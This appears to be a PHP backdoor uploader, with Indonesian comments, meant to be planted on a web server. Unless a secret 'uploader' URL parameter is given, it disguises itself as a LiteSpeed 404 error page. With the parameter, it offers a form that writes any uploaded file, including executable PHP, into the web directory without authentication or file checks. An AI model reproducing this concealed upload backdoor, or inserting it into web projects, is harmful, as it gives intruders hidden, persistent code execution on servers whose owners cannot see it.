<?php
// Cek apakah variabel 'uploader' ada di URL
if (!isset($_GET['uploader'])) {
// Tampilkan template 404 LiteSpeed
http_response_code(404);
echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body style="margin:0;background:#fff;font-family:Arial,sans-serif"><div style="max-width:600px;margin:100px auto 0 auto;text-align:center"><img src="https://static.litespeedtech.com/images/error/404.png" alt="404" style="width:120px;margin-bottom:20px"><h1 style="font-size:48px;margin:0 0 10px 0;color:#333">404 Not Found</h1><p style="color:#666;font-size:18px">The resource requested could not be found on this server!</p><hr style="margin:30px 0;border:none;border-top:1px solid #eee"><p style="color:#aaa;font-size:14px">LiteSpeed Web Server</p></div></body></html>';
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Uploader Sederhana</title>
<style>
body { font-family: Arial; margin: 40px; }
.container { max-width: 400px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; }
input[type="file"] { margin-bottom: 10px; }
</style>
</head>
<body>
<div class="container">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required><br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileName = basename($_FILES['file']['name']);
$targetFile = __DIR__ . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo "<p>File berhasil diupload: <strong>" . htmlspecialchars($fileName) . "</strong></p>";
} else {
echo "<p>Gagal mengupload file.</p>";
}
}
?>
</div>
</body>
</html>